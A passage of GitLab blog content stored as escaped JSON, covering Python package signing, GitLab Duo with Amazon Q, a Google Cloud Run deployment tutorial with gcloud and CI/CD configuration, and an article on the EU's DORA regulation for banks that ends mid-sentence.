\"${CERTIFICATE_OIDC_ISSUER}\" \\\n            \"$file\"; then\n            failed=1\n          fi\n        fi\n      done\n\n      if [ $failed -eq 1 ]; then\n        exit 1\n      fi\n```\n\nThis consumer verification stage simulates the end-user experience by:\n\n1. Creating a clean environment to test package installation\n2. Downloading the published packages from the GitLab PyPI registry\n3. Retrieving the corresponding signatures and certificates from the generic package registry\n4. Performing the same verification steps that end users would perform\n5. Ensuring the entire process works from a consumer's perspective\n6. Failing the pipeline if any verification step fails, providing an early warning of any issues\n\n## Summary\n\nThis comprehensive pipeline provides a secure and reliable way to build, sign, and publish Python packages to GitLab's package registry. By following these practices and implementing the suggested security measures, you can ensure your packages are appropriately verified and safely distributed to your users.\n\nThe pipeline combines modern security practices with efficient automation to create a robust software supply chain. Using Sigstore's Cosign for signing and attestation, along with GitLab's built-in security features, you can provide users with trustworthy cryptographically verified packages.\n\n> #### Get started on your security journey today with a [free 60-day trial of GitLab Ultimate](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com).\n\n## Learn more\n- [Documentation: Use Sigstore for keyless signing and verification](https://docs.gitlab.com/ee/ci/yaml/signing_examples.html)\n- [Streamline security with keyless signing and verification in GitLab](https://about.gitlab.com/blog/keyless-signing-with-cosign/)\n- [Annotate container images with build provenance using Cosign in GitLab CI/CD](https://about.gitlab.com/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd/)",[674,232,282,754,1384,110,479,696,2488],{"slug":2971,"featured":92,"template":678},"secure-and-publish-python-packages-a-guide-to-ci-integration","content:en-us:blog:secure-and-publish-python-packages-a-guide-to-ci-integration.yml","Secure And Publish Python Packages A Guide To Ci Integration","en-us/blog/secure-and-publish-python-packages-a-guide-to-ci-integration.yml","en-us/blog/secure-and-publish-python-packages-a-guide-to-ci-integration",{"_path":2977,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2978,"content":2983,"config":2989,"_id":2991,"_type":16,"title":2992,"_source":17,"_file":2993,"_stem":2994,"_extension":20},"/en-us/blog/devsecops-agentic-ai-now-on-gitlab-self-managed-ultimate-on-aws",{"title":2979,"description":2980,"ogTitle":2979,"ogDescription":2980,"noIndex":6,"ogImage":938,"ogUrl":2981,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2981,"schema":2982},"DevSecOps + Agentic AI: Now on GitLab Self-Managed Ultimate on AWS","Start using AI-powered, DevSecOps-enhanced agents in your AWS GitLab Self-Managed Ultimate instance. Enjoy the benefits of GitLab Duo and Amazon Q in your organization.","https://about.gitlab.com/blog/devsecops-agentic-ai-now-on-gitlab-self-managed-ultimate-on-aws","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevSecOps + Agentic AI: Now on GitLab Self-Managed Ultimate on AWS\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jackie Porter\"}],\n        \"datePublished\": \"2025-01-16\",\n      }",{"title":2979,"description":2980,"authors":2984,"heroImage":938,"date":2986,"body":2987,"category":791,"tags":2988},[2985],"Jackie Porter","2025-01-16","We are thrilled to announce the GitLab Duo with Amazon Q offering, previously [shared at AWS 2024 re:Invent](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai/), is now available in Preview (Beta) for GitLab Self-Managed Ultimate users, at no additional cost. This milestone brings AI agentic experiences to organizations that maintain their own GitLab instance.\n\n### What does this mean for GitLab Self-Managed Ultimate customers? \n\nBeginning in our [17.8 release](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/), GitLab Self-Managed Ultimate customers can now take advantage of the GitLab Duo with Amazon Q Preview (Beta) [capabilities](https://docs.gitlab.com/ee/user/duo_amazon_q/). There are three key experiences you will be able to access: \n- AI-powered feature development: Use the `/q dev` quick action to transform requirements into merge-ready code.\n- Automated code reviews: Leverage `/q review` for instant, intelligent feedback on code quality and security.\n- Java modernization: Streamline Java application upgrades with `/q transform`.\n\n### Getting started with the Preview (Beta) \n\nTo use these capabilities in your GitLab Self-Managed Ultimate instance:\n\n- Ensure you meet the [prerequisites](https://docs.gitlab.com/ee/user/duo_amazon_q/setup.html#prerequisites), including upgrading to GitLab 17.8, have an Ultimate subscription (no trial access), and have the instance hosted on AWS. \n- Enable your GitLab Duo with Amazon Q integration settings.\n- Configure IAM identity and roles in AWS and the GitLab AI gateway.\n- Add the Amazon Q user to the project. \n\nFor more detailed setup information, see our [documentation](https://docs.gitlab.com/ee/user/duo_amazon_q/setup.html). \n\n### Looking ahead\n\nThis Preview release represents our commitment to bringing enterprise-grade AI capabilities to all GitLab Ultimate customers. We're excited to work closely with our customers during this Preview (Beta) period to ensure GitLab Duo with Amazon Q delivers a superior experience. \nWe encourage GitLab Self-Managed Ultimate customers to begin exploring these capabilities and provide feedback. Your input will be invaluable in shaping the future of AI-powered development in GitLab.\n\n### Get started today \n\nGitLab Self-Managed Ultimate customers can begin enabling and configuring GitLab Duo with Amazon Q as outlined in our [setup documentation](https://docs.gitlab.com/ee/user/duo_amazon_q/setup.html). To learn more about how the Preview (Beta) release can transform your software development, visit our [website](https://about.gitlab.com/partners/technology-partners/aws/#interest). \nStay tuned for regular updates as we continue to enhance and expand the capabilities of GitLab Duo with Amazon Q.\n",[790,479,695,944,736],{"slug":2990,"featured":6,"template":678},"devsecops-agentic-ai-now-on-gitlab-self-managed-ultimate-on-aws","content:en-us:blog:devsecops-agentic-ai-now-on-gitlab-self-managed-ultimate-on-aws.yml","Devsecops Agentic Ai Now On Gitlab Self Managed Ultimate On Aws","en-us/blog/devsecops-agentic-ai-now-on-gitlab-self-managed-ultimate-on-aws.yml","en-us/blog/devsecops-agentic-ai-now-on-gitlab-self-managed-ultimate-on-aws",{"_path":2996,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2997,"content":3004,"config":3009,"_id":3012,"_type":16,"title":3013,"_source":17,"_file":3014,"_stem":3015,"_extension":20},"/en-us/blog/gitlab-17-8-released",{"title":2998,"description":2999,"ogTitle":2998,"ogDescription":2999,"config":3000,"ogImage":3001,"ogUrl":3002,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3002,"schema":3003},"GitLab 17.8 released","Includes enhanced security for container repositories, list deployments related to a release, ML model experiments tracking, Hosted runners on Linux for GitLab Dedicated, and more!",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662175/Blog/Hero%20Images/product-gl17-blog-release-cover-17-8-0093-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-17-8-released","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.8 released\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joe Randazzo\"}],\n        \"datePublished\": \"2025-01-16\",\n      }",{"title":2998,"description":2999,"authors":3005,"heroImage":3001,"date":2986,"body":3007,"category":695,"tags":3008},[3006],"Joe Randazzo","This is the [release post for GitLab 17.8](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/).",[774,695],{"slug":3010,"featured":92,"template":678,"externalUrl":3011},"gitlab-17-8-released","https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/","content:en-us:blog:gitlab-17-8-released.yml","Gitlab 17 8 Released","en-us/blog/gitlab-17-8-released.yml","en-us/blog/gitlab-17-8-released",{"_path":3017,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3018,"content":3024,"config":3029,"_id":3032,"_type":16,"title":3033,"_source":17,"_file":3034,"_stem":3035,"_extension":20},"/en-us/blog/gitlab-patch-release-17-7-2",{"title":3019,"description":3020,"ogTitle":3019,"ogDescription":3020,"config":3021,"ogImage":831,"ogUrl":3022,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3022,"schema":3023},"GitLab Patch Release: 17.7.2","Patch Release for 17.7.2 for GitLab Community Edition and Enterprise Edition.",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-7-2","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.7.2\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-01-15\",\n      }",{"title":3019,"description":3020,"authors":3025,"heroImage":831,"date":3026,"body":3027,"category":695,"tags":3028},[711],"2025-01-15","This is the post for Patch Release 17.7.2 for GitLab Community Edition and Enterprise Edition.",[716],{"slug":3030,"featured":6,"template":678,"externalUrl":3031},"gitlab-patch-release-17-7-2","https://about.gitlab.com/releases/2025/01/15/gitlab-17-7-2-released/","content:en-us:blog:gitlab-patch-release-17-7-2.yml","Gitlab Patch Release 17 7 2","en-us/blog/gitlab-patch-release-17-7-2.yml","en-us/blog/gitlab-patch-release-17-7-2",{"_path":3037,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3038,"content":3044,"config":3050,"_id":3052,"_type":16,"title":3053,"_source":17,"_file":3054,"_stem":3055,"_extension":20},"/en-us/blog/google-cloud-integrations-for-secure-cloud-run-deployments-at-gitlab",{"title":3039,"description":3040,"ogTitle":3039,"ogDescription":3040,"noIndex":6,"ogImage":3041,"ogUrl":3042,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3042,"schema":3043},"Google Cloud integrations for secure Cloud Run deployments at GitLab","This tutorial demonstrates how to use GitLab’s Google Artifact Management integration to deploy to Google Cloud Run, a serverless runtime for containers application.\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099336/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945_fJKX41PJHKCfSOWw4xQxm_1750099336757.png","https://about.gitlab.com/blog/google-cloud-integrations-for-secure-cloud-run-deployments-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Google Cloud integrations for secure Cloud Run deployments at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Regnard Raquedan\"},{\"@type\":\"Person\",\"name\":\"Matt Genelin\"}],\n        \"datePublished\": \"2025-01-15\",\n      }",{"title":3039,"description":3040,"authors":3045,"heroImage":3041,"date":3026,"body":3047,"category":695,"tags":3048},[919,3046],"Matt Genelin","*This tutorial is from a recent Arctiq, GitLab, and Google in-person workshop. The goal was to explore common security challenges faced by organizations as they journey to the cloud.*\n\nThis tutorial will help you learn about the [Google Cloud integrations in GitLab](https://cloud.google.com/docs/gitlab). These features are meant to help accelerate and improve security of deployments to Google Cloud.\n\n![Google integrations list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099345/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099345112.png)\n\n## Prerequisites\n\n1. [Google Cloud project](https://cloud.google.com/resource-manager/docs/creating-managing-projects)  \n2. Appropriate [IAM permissions](https://cloud.google.com/iam/docs/) for security, Artifact Registry, and Cloud Run usage. For this tutorial, ensure you have the \"Owner\" role with the aforementioned project.\n\n## Setting up Workload Identity Federation\n\nIn this step, we configure GitLab to connect Google Cloud's Workload Identity Federation to reduce the need for service accounts and let the two platforms use short-lived credentials on-demand.\n\n1. On the left sidebar, select **Search** or go to and find your group or project. If you configure this in a group, settings apply to all projects within by default.  \n2. Select **Settings \\> Integrations**.  \n3. Select **Google Cloud IAM**.  \n4. Input the Project ID and Project number in the respective fields. This information can be obtained from the Google Cloud console [Welcome](https://console.cloud.google.com/welcome) page of your project.  \n5. Input the desired Pool ID and Provider ID in the respective fields. These are values that you provide and must be unique from other Pool and Provider IDs.  \n6. Copy the generated command and then go to the **Google Cloud console**.  \n7. Run **Cloud Shell** and execute the generated command from the Workload Identity Federation integration page.  \n8. Once successful, the **Google Cloud IAM** integration will be designated as active in the Integrations list at the GitLab project.\n\n## Artifact Registry configuration\n\nAs an alternative to GitLab's own place to host artifacts, deploying to Google Cloud's Artifact Registry is another way to leverage their infrastructure. This section will provide steps on how to use GitLab's native integration with Artifact Registry. Note that Workload Identity Federation must already be configured prior to this.\n\n1. At the **Google Cloud** console, go to **Artifact Registry** via search or the main navigation.  \n2. Create a new repository by clicking the **\"+\"** icon. At the creation page, provide a name and keep the **Docker** format and **Standard** mode selected. Select **Region** and choose **us-central1**. Leave the rest at the default settings and click **Create**.  \n3. Once the repository is created and confirmed, go back to your GitLab project.  \n4. In your GitLab project, on the left sidebar, select **Settings > Integrations**. Then select **Google Artifact Registry**.  \n5. Under Enable integration, select the **Active** checkbox, then complete the fields:  \n   * Google Cloud project ID: The ID of the Google Cloud project where your Artifact Registry repository is located.  \n   * Repository name: The name of your Artifact Registry repository.  \n   * Repository location: The location of your Artifact Registry repository. (`us-central1` is assumed.)  \n6. In **Configure Google Cloud IAM policies**, follow the onscreen instructions to set up the IAM policies in Google Cloud. These policies are required to use the Artifact Registry repository in your GitLab project. Select **Save** changes.  \n7. To view your Google Cloud artifacts, on the left sidebar, select **Deploy > Google Artifact Registry**.\n\n## Cloud Run configuration\n\n1. Enable the Cloud Run API, if not done already. Go to **APIs & Services > Enabled APIs & Services**. From there, click **Enable APIs & Services** at the top and search for **Cloud Run Admin API**. Select the search result and enable the API.  \n2. Configure the IAM policies in Google Cloud to grant permissions to allow the Cloud Run CI/CD component to deploy to Cloud Run.\n\n```\nGCP_PROJECT_ID=\"\u003CPROJECT ID>\"\nGCP_PROJECT_NUMBER=\"\u003CPROJECT NUMBER>\"\nGCP_WORKLOAD_IDENTITY_POOL=\"\u003CPOOL ID>\"\n\ngcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \\\n  --member=\"principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true\" \\\n  --role='roles/run.admin'\n\ngcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \\\n  --member=\"principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true\" \\\n  --role='roles/iam.serviceAccountUser'\n\ngcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \\\n  --member=\"principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true\" \\\n  --role='roles/cloudbuild.builds.editor'\n```\n\n## Deploy to Cloud Run\n\nIn this section, you will use Gitlab's CI/CD components to deploy to Cloud Run, Google Cloud's serverless runtime for containers.\n\n1. Go to the GitLab project and from the list of files in the source code, find `.gitlab-ci.yaml`. Click the **file name** and the single file editor will show up. Click the **Edit** button and select the **Open in Web IDE** option.  \n2. In Web IDE, copy-paste the following code:\n\n```\nstages:\n    - build\n    - upload\n    - deploy\n```\n\nThis code snippet sets up three stages in the pipeline: build, upload, and deploy.\n\n1. The next step is to create two CI/CD variables in the same YAML file:\n\n```\nvariables:\n    GITLAB_IMAGE: $CI_REGISTRY_IMAGE/main:$CI_COMMIT_SHORT_SHA\n    AR_IMAGE: $GOOGLE_ARTIFACT_REGISTRY_REPOSITORY_LOCATION-docker.pkg.dev/$GOOGLE_ARTIFACT_REGISTRY_PROJECT_ID/$GOOGLE_ARTIFACT_REGISTRY_REPOSITORY_NAME/main:$CI_COMMIT_SHORT_SHA\n```\n\nThe first variable, `GITLAB\\_IMAGE`, denotes the container image that the pipeline creates by default. The second one, `AR\\_IMAGE`, denotes the location at Google Cloud's Artifact Registry where the container image will be pushed to.\n\n2. Next, define the code that will build the container image:\n\n```\nbuild:\n    image: docker:24.0.5\n    stage: build\n    services:\n        - docker:24.0.5-dind\n    before_script:\n        - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    script:\n        - docker build -t $GITLAB_IMAGE .\n        - docker push $GITLAB_IMAGE\n```\n\nThis code uses [pre-defined CI/CD variables](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) for the Docker commands.\n\n3. The final step is using two CI/CD components to deploy to Google Cloud. The first component integrates with Artifact Registry and the second is the deployment to Cloud Run:\n\n```\ninclude:\n    - component: gitlab.com/google-gitlab-components/artifact-registry/upload-artifact-registry@main\n      inputs:\n        stage: upload\n        source: $GITLAB_IMAGE\n        target: $AR_IMAGE\n\n    - component: gitlab.com/google-gitlab-components/cloud-run/deploy-cloud-run@main\n      inputs:\n        stage: deploy\n        project_id: \"\u003CPROJECT_ID>\"\n        service: \"tanuki-racing\"\n        region: \"\u003CREGION>\"\n        image: $AR_IMAGE\n```\n\nReplace \u003CPROJECT_ID> with your Google Cloud Project ID. Replace with the [Google Cloud region](https://cloud.google.com/compute/docs/regions-zones) most appropriate to your location. `us-central1` is assumed.\n\nCommit the changes and push to the main branch. For reference, the final `.gitlab-ci.yaml` should look like this, noting to replace the \u003CPROJECT ID> and \u003CREGION> with the appropriate values:\n\n```\nstages:\n    - build\n    - upload\n    - deploy\nvariables:\n    GITLAB_IMAGE: $CI_REGISTRY_IMAGE/main:$CI_COMMIT_SHORT_SHA\n    AR_IMAGE: $GOOGLE_ARTIFACT_REGISTRY_REPOSITORY_LOCATION-docker.pkg.dev/$GOOGLE_ARTIFACT_REGISTRY_PROJECT_ID/$GOOGLE_ARTIFACT_REGISTRY_REPOSITORY_NAME/main:$CI_COMMIT_SHORT_SHA\n\nbuild:\n    image: docker:24.0.5\n    stage: build\n    services:\n        - docker:24.0.5-dind\n    before_script:\n        - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    script:\n        - docker build -t $GITLAB_IMAGE .\n        - docker push $GITLAB_IMAGE\n\ninclude:\n    - component: gitlab.com/google-gitlab-components/artifact-registry/upload-artifact-registry@main\n      inputs:\n        stage: upload\n        source: $GITLAB_IMAGE\n        target: $AR_IMAGE\n\n    - component: gitlab.com/google-gitlab-components/cloud-run/deploy-cloud-run@main\n      inputs:\n        stage: deploy\n        project_id: \"\u003CPROJECT_ID>\"\n        service: \"tanuki-racing\"\n        region: \"\u003CREGION>\"\n        image: $AR_IMAGE\n```\n\n1. Go back to the main GitLab project and view the pipeline that was just initiated. Take note of the stages that should be the same stages that were defined in Step 2.  \n2. Once the pipeline is complete, go to the Google Cloud console and then **Cloud Run** via search or navigation. A new Cloud Run service called `tanuki-racing` should be created.  \n3. Click the **service name** and then go to the **Security** tab. Ensure that the service is set to **Allow unauthenticated invocations**. This will make the deployed app publicly available. The app URL posted on screen is now available and should open a new browser tab when clicked.\n\nBy utilizing GitLab’s CI/CD pipelines to build and push a containerized application to Google Artifact Registry, you can see the power of GitLab’s AI-powered DevSecOps Platform as a means to building secure applications. GitLab also deployed the containerized application to Google’s Cloud Run as a low-cost running application on the public internet. Using GitLab to instrument building an application, pushing a container and triggering a cloud run deployment allows DevOps engineers to have the assurance that secure applications are being run on the public-facing internet.\n\n> [Sign up for a 60-day free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/devsecops/) to begin working with these integrations. Also, check out our [solutions architecture area](https://about.gitlab.com/blog/tags/solutions-architecture/) for more Gitlab and Google Cloud tutorials.",[232,923,3049,696,2488],"GKE",{"slug":3051,"featured":6,"template":678},"google-cloud-integrations-for-secure-cloud-run-deployments-at-gitlab","content:en-us:blog:google-cloud-integrations-for-secure-cloud-run-deployments-at-gitlab.yml","Google Cloud Integrations For Secure Cloud Run Deployments At Gitlab","en-us/blog/google-cloud-integrations-for-secure-cloud-run-deployments-at-gitlab.yml","en-us/blog/google-cloud-integrations-for-secure-cloud-run-deployments-at-gitlab",{"_path":3057,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3058,"content":3064,"config":3070,"_id":3072,"_type":16,"title":3073,"_source":17,"_file":3074,"_stem":3075,"_extension":20},"/en-us/blog/what-the-digital-operational-resilience-act-means-for-banks",{"title":3059,"description":3060,"ogTitle":3059,"ogDescription":3060,"noIndex":6,"ogImage":3061,"ogUrl":3062,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3062,"schema":3063},"What the Digital Operational Resilience Act means for banks","Find out why financial institutions need to understand the DORA legislative framework introduced in the European Union to strengthen operational resilience.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098149/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750098149751.png","https://about.gitlab.com/blog/what-the-digital-operational-resilience-act-means-for-banks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What the Digital Operational Resilience Act means for banks\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joshua Carroll\"},{\"@type\":\"Person\",\"name\":\"Allie Holland\"}],\n        \"datePublished\": \"2025-01-15\",\n      }",{"title":3059,"description":3060,"authors":3065,"heroImage":3061,"date":3026,"body":3068,"category":674,"tags":3069},[3066,3067],"Joshua Carroll","Allie Holland","Developers play a critical role in ensuring banks remain competitive and compliant. One framework gaining significant attention is DORA. If you’re thinking of the [DevOps Research and Assessment (DORA) metrics](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html), this is something different. The [Digital Operational Resilience Act](https://www.eiopa.europa.eu/digital-operational-resilience-act-dora_en) is a new regulatory framework focused on safeguarding financial institutions against digital disruptions. For developers, understanding DORA regulations is not just a regulatory necessity; it’s an opportunity to drive innovation and enhance the overall stability of their organizations. \n\n## What is DORA regulation?\n\nThe Digital Operational Resilience Act (DORA) is a legislative framework introduced by the European Union to strengthen the operational resilience of financial institutions. DORA aims to ensure that banks and other financial services providers can withstand, respond to, and recover from all types of information and communication technology (ICT) related disruptions and threats. DORA outlines specific requirements for risk management, incident reporting, testing, and the overall governance of digital operations.\n\n## Core requirements of DORA\n\nDORA introduces several critical requirements for financial institutions to ensure they can maintain operational continuity, including:\n\n1. **Risk management:** Organizations must establish systems to identify, assess, and manage risks related to their digital operations. DORA fundamentally redefines the landscape of ICT risk management by placing accountability at the executive level. Detailed in [Article 5](https://www.digital-operational-resilience-act.com/Article_5.html), the management body of an organization is now entrusted with the ultimate responsibility for overseeing ICT risk management. This includes conducting regular risk assessments and implementing strategies to mitigate identified vulnerabilities.   \n\n2. **Regular testing:** Financial institutions are required to conduct systematic testing of their ICT systems to ensure they can handle potential disruptions effectively. This includes stress testing, scenario analysis, and recovery simulations to evaluate the resilience of their operations.  \n\n3. **Incident reporting:** Significant ICT-related incidents must be reported to regulators within specified timeframes. This requirement enhances oversight and allows regulators to coordinate responses across the financial sector, ensuring a unified approach to managing crises. The most recent [Regulatory Technical Standards](https://www.eba.europa.eu/sites/default/files/2023-12/ecc72f1c-c68a-4e64-97dd-47470117c3ae/JC%202023%2070%20-%20%20CP%20on%20draft%20RTS%20and%20ITS%20on%20major%20incident%20reporting%20under%20DORA.pdf) proposes time limits for reporting of the initial notification of four hours after classification and 24 hours after detection of the incident, 72 hours for reporting of the intermediate report, and one month for the reporting of the final report.   \n\n4. **Third-party risk management:** DORA also focuses on managing risks associated with outsourcing services to third-party providers. Organizations must ensure that their partners adhere to the same stringent standards, conducting due diligence and regular assessments of third-party performance. One of the biggest shifts for a bank is oftentimes centered around the establishment of exit strategies, detailed in [Article 28](https://www.digital-operational-resilience-act.com/Article_28.html).\n\nOrganizations need to prepare for scenarios where a third-party provider can no longer meet their operational needs or compliance obligations. This proactive approach ensures continuity and minimizes disruption in critical services. GitLab offers a distinct advantage in this area, as our platform is cloud-agnostic. This flexibility allows organizations to easily adapt their operations and transition between service providers as needed, simplifying the implementation of effective exit strategies.\n\nFor those who are interested in learning a bit more about the specifics listed above, the formal regulation documentation can be found [here](https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32022R2554).  \n\n## Why DORA matters to developers\n\nDORA is important for developers to understand for the following reasons:\n\n1. **Enhanced security posture:** For developers, DORA emphasizes the importance of robust cybersecurity measures. As cyber threats continue to evolve, being part of an organization that prioritizes security means you’ll need to build applications with security in mind from the beginning, with a shift [security left mindset](https://www.youtube.com/watch?v=XnYstHObqlA). Compliance with DORA requires implementing best practices in secure coding, conducting regular vulnerability assessments, and ensuring that security controls are integrated into the software development lifecycle.  \n2. **Focus on resilience:** DORA requires banks to have clear strategies for operational resilience. Developers must now design systems that go beyond surface level functionality, building applications that can withstand failures and protect against disruptions. Having a clear understanding of DORA can guide you in architecting applications that can seamlessly handle disruptions, whether from a technical failure or an external threat.  \n3. **Collaboration and cross-functional teams:** Implementing DORA effectively requires a collaborative approach, which could pose a challenge in siloed banking structures. Developers will need to work closely with cybersecurity teams, risk management, and compliance officers.   \n4. **Agility in incident response:** DORA mandates that organizations report and respond to incidents efficiently. Developers must be equipped to quickly address vulnerabilities and deploy fixes.   \n5. **Continuous improvement culture:** DORA encourages a culture of continuous improvement and testing. This requires the adoption of practices like chaos engineering and regular stress testing of applications to ensure they can handle unexpected scenarios. Embracing these methodologies will not only help meet regulatory requirements but also improve the overall quality and reliability of the software that is built.\n\n## GitLab's role in DORA compliance\n\nGitLab is prepared to help financial institutions meet DORA’s stringent requirements. With [security built into the earliest stages of deployment pipelines](https://about.gitlab.com/topics/ci-cd/shift-left-devops/), GitLab is strategically positioned to equip organizations with software that is [Secure by Design](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/). \n\n* **Robust risk management:** GitLab’s built-in tools enable organizations to identify, assess, and manage risk across their digital landscape. By utilizing features like [issue tracking](https://docs.gitlab.com/ee/user/project/issues/index.html) and [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/), teams can collaboratively manage and document risks throughout the software development lifecycle. GitLab provides several tools that enable organizations to manage these requirements effectively:  \n      - **Audit logs and compliance dashboards:** GitLab's [audit logs](https://docs.gitlab.com/ee/user/compliance/audit_events.html) capture all activities within the platform, giving financial institutions a full history of changes made to code, configurations, and infrastructure. These logs allow compliance teams to review user actions and detect irregularities that could pose risks. Additionally, GitLab’s [compliance dashboard](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_standards_adherence_dashboard.html) provides real-time visibility into which projects comply with established policies, making it easier to manage large-scale governance.  \n      - **Custom compliance frameworks:** GitLab allows organizations to create [custom compliance frameworks](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#:~:text=You%20can%20create%20a%20compliance,on%20which%20it%20is%20applied.) that are tailored to an organization's regulatory requirements and geographical regions. These frameworks ensure consistent enforcement of security and operational standards, meeting DORA’s systematic risk management objectives.  \n\n* **Comprehensive application security testing:** Security vulnerabilities pose significant regulatory, financial, and reputational risks. GitLab addresses these challenges by building security testing directly into its CI/CD pipelines, ensuring vulnerabilities are detected and mitigated before deployment. This approach leverages multiple [testing methodologies](https://about.gitlab.com/stages-devops-lifecycle/secure/):\n    - [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/): Analyzes source code for security vulnerabilities.\n    - [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/): Tests running applications for security weaknesses.\n    - [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/): Prevents sensitive information from being exposed in code.\n    - [Fuzz Testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/): Identifies potential security issues by testing with random inputs.\n\n  GitLab’s security tools run automated tests that scan for vulnerabilities in code, containers, and third-party dependencies. These features help organizations meet the DORA requirement to continuously test IT systems, providing peace of mind that potential vulnerabilities are addressed before they become operational risks.\n\n  ![GitLab features for DORA requirements in EU](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098160/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098160209.png)\n\n* **Efficient incident reporting:** GitLab’s [project management capabilities](https://docs.gitlab.com/ee/topics/plan_and_track.html) enable teams to effectively log and track significant ICT-related incidents. This centralized documentation, combined with [continuous vulnerability scanning](https://docs.gitlab.com/ee/user/application_security/continuous_vulnerability_scanning/), facilitates timely reporting to regulators, enhances visibility, and supports compliance with DORA's incident reporting requirements.\n  [GitLab's incident management features](https://docs.gitlab.com/ee/operations/incident_management/incidents.html#:~:text=The%20incident%20summary%20can%20be,displays%20them%20below%20the%20summary.) streamline the workflow of remediation, making it easier for teams to identify, trace, and act on incidents as they arise.\n    - Incident management tools: GitLab includes built-in tools for managing incidents, serving as a centralized record for teams to report, assess, and mitigate issues effectively. Users can create incident records, assign ownership, and document the investigation and resolution process. This centralization not only streamlines incident management but also enables teams to trace back and determine accountability for each incident. By facilitating clear ownership and structured workflows, GitLab positions organizations to effectively meet DORA’s requirements for effective incident response plans.\n    - Real-time alerts and monitoring integrations: By integrating with monitoring tools such as [Prometheus](https://prometheus.io/) and Grafana, GitLab allows financial institutions to receive real-time alerts when issues arise. These alerts can trigger automated incident responses, helping teams address potential threats before they escalate, in line with DORA’s emphasis on quick reaction times.\n\n* **Third-party risk management:** GitLab enables organizations to work closely with third-party providers, ensuring they adhere to the same rigorous standards required by the industry. The platform provides both technical controls and governance features to manage third-party risks:\n    * Technical Controls\n       - [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/): Automatically detects vulnerabilities in third-party libraries and open-source components\n      - [Software Composition Analysis](https://about.gitlab.com/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization/): Provides detailed inventory and security status of all external dependencies\n      -  [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/): Identifies vulnerabilities in third-party container images   \n\n   * Governance Features\n      - [Policy Enforcement](https://docs.gitlab.com/ee/user/application_security/policies/): Automatically enforce security policies for external code and components\n      -  [Integration Controls](https://docs.gitlab.com/ee/api/integrations.html): GitLab's API-first approach ensures secure and monitored integration with external systems\n      -   [Audit Trails](https://docs.gitlab.com/ee/user/compliance/audit_events.html): Maintain comprehensive logs of all third-party component usage and changes\n\n  These capabilities help organizations meet DORA's requirements for third-party risk management while maintaining operational 